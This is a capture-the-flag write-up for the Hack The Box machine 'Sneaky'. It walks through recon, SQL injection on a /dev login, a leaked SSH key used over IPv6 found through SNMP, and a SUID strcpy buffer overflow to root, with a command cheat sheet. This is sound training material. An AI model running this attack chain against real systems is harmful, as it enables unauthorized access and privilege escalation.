Hack The Box - Sneaky

🎯 Objective

• Enumerate a web server exposing only port 80.
• Pivot to SSH over IPv6 using a leaked RSA private key discovered via the /dev portal.
• Priv‑esc via a SUID buffer overflow in /usr/local/bin/chal to get root.

🧭 Target & Scope

• Host: 10.10.10.20
• Initial scan only showed HTTP; no SSH on IPv4.
• We’ll enumerate web endpoints, harvest credentials/keys, use SNMP to discover IPv6, then SSH in.

🔎 Recon (Nmap)

Command:

nmap -sC -sV -oA nmap 10.10.10.20

Only port 80/tcp open.

Landing page had almost nothing:

🌐 Web Enumeration

Dirb/Dirbuster

Enumerated directories and found /dev login:

Brute/SQLi on /dev

Sent the POST auth request to Burp Intruder and tested common SQLi combos until success (HTTP 200s stood out):

From the portal, a downloadable RSA key was exposed:

Saved as key and fixed perms:

chmod 600 key

🛰️ SNMP → IPv6 Discovery

IPv4 showed no SSH, so pivoted to SNMP enumeration then IPv6 discovery.

Metasploit:

msfconsole
use auxiliary/scanner/snmp/snmp_enum
set rhosts 10.10.10.20
set threads 5
run

Used Enyx to pull the host’s IPv6 address via SNMP:

python enyx.py 2c public 10.10.10.20

🔐 SSH over IPv6 with the Leaked Key

Logged in using the discovered username + IPv6 address:

ssh -i key thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:b88c

⬆️ Privilege Escalation (SUID Buffer Overflow)

Hunted SUID binaries:

find / -perm -4000 2>/dev/null

/usr/local/bin/chal stood out:

Reverse Engineering chal with gdb

Disassembled main and spotted an unsafe strcpy:

(gdb) set disassembly-flavor intel
(gdb) disas main

Generated a cyclic pattern to find EIP overwrite offset (wiremask pattern generator used). Crash landed at 0x316d4130:

Offset: 362 bytes to return address.

Inspected the stack for a stable location to drop a NOP sled + shellcode:

Pop Root

Constructed payload: 362 bytes of padding + ret to our sled + /bin/sh shellcode. Executed chal with the payload and popped a root shell.

🧩 Key Commands (Cheat Sheet)

# Recon
nmap -sC -sV -oA nmap 10.10.10.20

# SNMP enum (Metasploit) + IPv6 via Enyx
msf> use auxiliary/scanner/snmp/snmp_enum
python enyx.py 2c public 10.10.10.20

# SSH over IPv6 with leaked key
chmod 600 key
ssh -i key thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:b88c

# SUID hunt
find / -perm -4000 2>/dev/null

# gdb basics
gdb -q /usr/local/bin/chal
(gdb) set disassembly-flavor intel
(gdb) disas main

✅ Takeaways

• If SSH isn’t visible on IPv4, don’t assume it’s not there—SNMP → IPv6 can reveal hidden services.
• Treat any exposed private keys as critical—pair them with discovered users to jump shells.
• Classic SUID + unsafe strcpy remains a reliable priv‑esc path: find the offset, place a sled, control RET, win root.